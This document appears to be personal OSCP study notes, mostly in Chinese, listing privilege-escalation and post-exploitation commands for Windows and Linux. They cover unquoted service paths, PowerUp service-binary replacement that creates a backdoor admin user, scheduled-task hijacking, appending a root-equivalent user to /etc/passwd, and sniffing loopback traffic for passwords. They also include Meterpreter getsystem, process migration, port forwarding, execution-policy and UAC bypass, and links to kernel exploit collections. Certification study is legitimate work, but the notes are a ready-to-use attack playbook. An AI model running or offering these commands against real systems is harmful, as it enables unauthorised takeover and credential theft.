PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles
dll劫持
原理:利用下面的命令找到软件版本 然后搜exp 根据漏洞类型来 这个思路一定要有
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
FileZilla FTP 3.63.1 存在dll劫持
不带引号的服务路径(非常重要和有意思的一个技巧)
# 枚举运行和已停止的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto"
比如 设置的路径如下 没有带引号
C:\Program Files\My Program\My Service\service.exe
原理
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe
然后重启服务即可
在示例中,我们可以将可执行文件命名为 Program.exe并将其放在C:\中,将My.exe并将其放在 C:\Program Files\中,或者将My.exe并将其放在C:\Program Files\My Program\中。但是,前两个选项需要一些不太可能的权限,因为标准用户默认没有写入这些目录的权限。第三个选项更有可能,因为它是软件的主目录。如果管理用户或开发人员将此目录的权限设置得太开放,我们就可以在那里放置恶意二进制文件。
# 详细命令
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
检查哪个目录有当前用户的W命令就行 然后放入一个exe文件
找到了之后执行下面的命令就行
Stop-Service GammaService
Start-Service GammaService
还是PowerUp.ps1的技术
PowerUp.ps1
. .\PowerUp.ps1
# 和上面一样输出易受危害的服务
Get-UnquotedService
# 选择写入的路径
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
# 重启服务
Restart-Service GammaService
默认行为是创建一个名为john的新本地用户,密码为Password123!
计划任务提权
# 查看计划任务
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Every:"
schtasks /query /fo LIST /v | findstr /i /C:"TaskName" /C:"Every:" /C:"Task To Run:"
# 确定具体的任务
schtasks /query /tn "\Microsoft\Windows\SomeTask" /fo LIST /v
# 确认权限 然后替换就行了
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
漏洞提权
whoami /priv
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
linux提权(信息收集)
ls -l /etc/shadow
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel #路由表
ss -anp #所有连接
cat /etc/iptables/rules.v4 #防火墙配置
ls -lah /etc/cron* #计划任务
crontab -l #计划任务
dpkg -l #安装的应用程序
find / -writable -type d 2>/dev/null #可写目录
cat /etc/fstab #显示挂载驱动器
mount #挂载的文件系统
lsblk #查看可用磁盘
lsmod #查看加载的内核模块
/sbin/modinfo libata #上面收集到了模块 这里查看模块的更多信息
.bashrc #自动设置环境变量的脚本 可能存在一些信息
env #查看环境变量 可能存在信息
watch -n 1 "ps -aux | grep pass" #类似于一个低配版的pspy32
sudo tcpdump -i lo -A | grep "pass" #捕获流量
grep "CRON" /var/log/syslog #查看系统日志里的自动任务 也是一个低配版的pspy32
/usr/sbin/getcap -r / 2>/dev/null #cap_setuid+ep提权
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
# searchspoit的一个技巧吧
/etc/passwd 滥用
openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
生成新字典的逻辑
# 根据密码的最小和最大长度 设置某一个密码为基准 来生成新的
crunch 6 6 -t Lab%%% > wordlist
windows提权
这里只记一部分 主要是提醒作用吧
当所有的方法都不行的时候 记得多注意一下 winPEASany.exe的输出
里面的东西很全面 下面是手动方法 而winPEASany.exe集成了下面的所有的信息
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys
服务提权
wmic service get name,displayname,pathname,startmode |findstr /i "auto"
msf后利用
# 指示目标机器当前是否正在使用 下面就是用户离开9分钟的意思
idletime
User has been idle for: 9 mins 53 secs
# 第一件事
getsystem
# 进程迁移
migrate 8052
# 启动隐藏的notepad并迁移进程
execute -H -f notepad
migrate 8052
# powershell第一件事执行这个 绕过系统的powershell的执行策略限制
PowerShell -ExecutionPolicy Bypass
powershell -ep bypass
# 端口转发
portfwd add -l 3389 -p 3389 -r 172.16.5.200
# 设置代理
use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j
然后在本地的1080就会有一个sock5代理 proxychains就行了
101.OSCP一些思路
在看oscptext的时候遇到的一些有意思的教学,这些思路得记下来
遇到任意文件读取的时候不要老相信poc 记得手动试一下 比如任意文件读取的poc 他可能就不成功
遇到文件包含尝试写日志 读日志 ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php
文件上传有时候可以进行覆盖 覆盖公钥试试看
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
UAC绕过 是一个挺有意思的一个技术 Import-Module NtObjectManager 之后 Get-NtTokenIntegrityLevel 就能确定完整性级别 当级别为Medium的时候 就可以去尝试UAC绕过了
102.后利用脚本
https://github.com/rebootuser/LinEnum
https://github.com/DominicBreuker/pspy
aes:https://tool.lmeee.com/jiami/aes
rsa:https://www.bejson.com/enc/rsa/
phpinfo lfi条件竞争:https://github.com/vulhub/vulhub/tree/master/php/inclusion
ssh隧道:https://wangdoc.com/ssh/port-forwarding,https://harttle.land/2022/05/02/ssh-port-forwarding.html
windows漏洞分析:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
windows永恒之蓝系列:https://github.com/SecWiki/windows-kernel-exploits